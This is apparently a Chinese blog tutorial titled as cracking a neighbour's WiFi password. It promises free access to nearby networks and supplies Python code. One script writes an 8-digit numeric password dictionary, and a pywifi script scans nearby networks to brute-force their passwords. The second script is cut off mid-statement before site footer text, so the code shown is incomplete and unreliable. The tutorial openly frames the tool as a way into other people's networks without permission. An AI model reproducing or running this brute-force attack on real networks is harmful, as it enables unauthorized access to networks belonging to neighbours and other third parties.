隔壁家的WIFI密码如何破解?Python教你百分之百成功蹭网~ 您所在的位置:网站首页 如何连接隔壁的网络 隔壁家的WIFI密码如何破解?Python教你百分之百成功蹭网~

隔壁家的WIFI密码如何破解?Python教你百分之百成功蹭网~

2023-09-09 15:02| 来源: 网络整理| 查看: 265

导语

图片

       我想大家对WIFI不陌生叭~WIFI是特别实用的,因为每个人的手机流量都是花钱还有限制的,一到限制流

量的时候,手机就网速就卡的要死,还有周天好不容易放一天假休息打游戏,在家的话,一家人都用同一个

WiFi,打游戏这么卡的网速要被喷子喷死........

 于是,当你打开网络连接,跳出来十几个WiFi,耗光流量的你想蹭吗?网速卡到不行的你想免费蹭网吗?

那是肯定的,**不知道密码也没关系,今天小编手把手教你制作一个“WiFi万能钥匙”,**就能自动连接隔壁家的网啦~

图片

正文

效果图:

​​

以上基于 Python 的 GUI 图形界面开发库 Tkinter所作完成。

安装环境部分:

  本机运行环境:系统环境Win10,运行环境Python3.6,运行工具Pycharm

  需要Python的包有:pywifi

  这是一种暴力破解wifi的模式哈~

原理简介:

  首先要先生成一个密码字典(此步骤也可以从网上下载字典)。

  循环用密码字典的每个密码去尝试连接Wifi,直到成功。

(1)密码字典TXT文件生成,本文提供的比较简单,实用破解可以根据一般密码设置,去生成比较大比较全的密码字典。

import itertools as its if __name__ == '__main__': words_num = "1234567890" words_letter = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" r = its.product(words_num, repeat=8) dic = open("password-8位数字.txt", "w") for i in r: dic.write("".join(i)) dic.write("".join("\n")) dic.close()

(2)​暴力破解密码:

import pywifi from pywifi import const # 引用一些定义 import time def getwifi(wifilist, wificount): wifi = pywifi.PyWiFi() # 抓取网卡接口 ifaces = wifi.interfaces()[0] # 获取网卡 ifaces.scan() time.sleep(8) bessis = ifaces.scan_results() allwifilist = [] namelist = [] ssidlist = [] for data in bessis: if data.ssid not in namelist: # 去掉重复的WIFI名称 namelist.append(data.ssid) allwifilist.append((data.ssid, data.signal)) sorted(allwifilist, key=lambda st: st[1], reverse=True) time.sleep(1) n = 0 if len(allwifilist) is not 0: for item in allwifilist: if (item[0] not in ssidlist) & (item[0] not in wifilist): n = n + 1 if n


【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有